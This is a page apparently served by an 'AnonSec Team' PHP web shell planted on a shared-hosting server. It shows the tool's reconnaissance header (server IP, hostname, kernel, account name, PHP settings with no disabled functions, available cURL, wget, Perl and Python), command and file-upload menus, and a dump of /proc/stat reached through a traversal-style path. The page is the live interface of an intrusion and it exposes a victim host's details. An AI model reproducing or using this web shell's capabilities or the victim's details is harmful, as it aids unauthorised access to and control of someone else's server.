AnonSec Team
Server IP : 198.54.120.203  /  Your IP : 216.73.216.2
Web Server : LiteSpeed
System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64
User : greakqsw ( 1698)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /home/../usr/../var/tmp/../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/../usr/../var/tmp/../proc/stat
cpu  16271423876 192236244 4039306935 19438497896 263236436 302363267 323637283 20947284 0 0
cpu0 737805267 8698714 182803713 884394809 11896276 13171010 17311411 939255 0 0
cpu1 741753150 8747657 183215263 881308080 12040448 13068661 15854252 934564 0 0
cpu2 727304478 8842658 184299777 893404530 12291020 13253385 15601658 959015 0 0
cpu3 742242077 8730349 183420542 881678101 12082332 13056208 14713874 936919 0 0
cpu4 742753470 8810267 182883257 883687252 12139380 13045141 12601877 938982 0 0
cpu5 743048744 8774193 182958925 883521669 12131565 13052200 12438376 932670 0 0
cpu6 742642018 8809994 182816445 884086505 12118835 13043142 12365837 934588 0 0
cpu7 742658250 8765210 182710418 884410527 12090914 13038746 12257498 937763 0 0
cpu8 741370044 8781211 183288796 883379345 12022953 13040081 14064911 935468 0 0
cpu9 741595054 8723105 183260349 883243290 12056831 13051302 14022246 936037 0 0
cpu10 740881850 8773355 182852977 880741348 11707999 17380932 13516225 1047585 0 0
cpu11 740960827 8710836 183094491 884203023 12020197 13016611 13971457 933498 0 0
cpu12 740943804 8796531 183218138 884067736 11987653 13022032 13950321 934321 0 0
cpu13 730346030 8669209 189760279 875470116 11606896 17283525 22947808 974226 0 0
cpu14 732678832 8696861 188420176 875445152 11602611 15445280 23725959 989407 0 0
cpu15 741104335 8704462 183284338 883778196 12001033 12995752 14146996 935616 0 0
cpu16 738538782 8703782 183643611 884754203 11948697 13612110 14831288 948131 0 0
cpu17 739657911 8679562 183411387 884939239 11897527 13259111 14188209 948811 0 0
cpu18 740533411 8709927 182842806 885047995 11909529 13140464 13856190 934291 0 0
cpu19 740419488 8699336 182916758 885274748 11959374 12957250 13831772 935110 0 0
cpu20 741618069 8715695 182180834 886653886 12011140 12936690 11957110 932611 0 0
cpu21 740567975 8693319 182023643 885008136 11713215 16493626 11481995 1048407 0 0
intr 115454006837 174 9 0 0 549 0 0 0 8 0 0 0 15 0 18359897 0 0 0 0 0 0 0 0 0 0 0 0 543413715 511498479 0 58 5 3242023559 2234374869 5 2073924894 2093768790 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 471034098069
btime 1754295956
processes 2241724869
procs_running 30
procs_blocked 1
softirq 155392037037 1 2720527921 233918 2845626447 750909779 0 987788435 3576683526 3533779 2772812463

AnonSec - 2021